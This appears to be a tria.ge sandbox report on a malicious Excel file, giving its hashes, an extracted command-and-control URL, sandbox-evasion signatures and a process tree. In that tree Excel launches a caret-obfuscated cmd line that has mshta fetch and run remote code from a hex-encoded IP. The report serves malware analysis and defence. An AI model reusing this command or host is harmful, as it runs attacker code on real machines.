Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
133s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11/11/2024, 21:40
Behavioral task
behavioral1
Sample
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
Resource
win10v2004-20241007-en
General
-
Target
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
-
Size
128KB
-
MD5
75554c400886f488f124cd0dfe2a4276
-
SHA1
38d62c63f786e492f5b4b948f19f65a4a94a8c0a
-
SHA256
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef
-
SHA512
ffff9502a2cc4ad704e497b78323312f20008ed714b3b6c0429a0f269f697641c13dc1cc652abe5f5fb8e4b5925578ea7e2b445996b7399f56d4e7970e40fae7
-
SSDEEP
3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv
Malware Config
Extracted
http://185.7.214.7/cc.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3720 3560 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 20 2292 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3560 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE 3560 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3560 wrote to memory of 3720 3560 EXCEL.EXE 87 PID 3560 wrote to memory of 3720 3560 EXCEL.EXE 87 PID 3720 wrote to memory of 2292 3720 cmd.exe 89 PID 3720 wrote to memory of 2292 3720 cmd.exe 89
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
PID:2292
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD59f8aecb04b15600216799bfaf782ef50
SHA1f07830b420e643f2a66e1c22700ae77996a5b5a8
SHA256b18a800c32bdaede536dc3a07274fbf7a353f17bd847360d4ab3aa7123100ee3
SHA512363baf25b714b20e9595aed40afcc5d4cb87e07490817891e5cc2690b9e5f49ee9684e776f50b60622ecf5588ec623169bae2c8fa09b0e154ad315047458d99b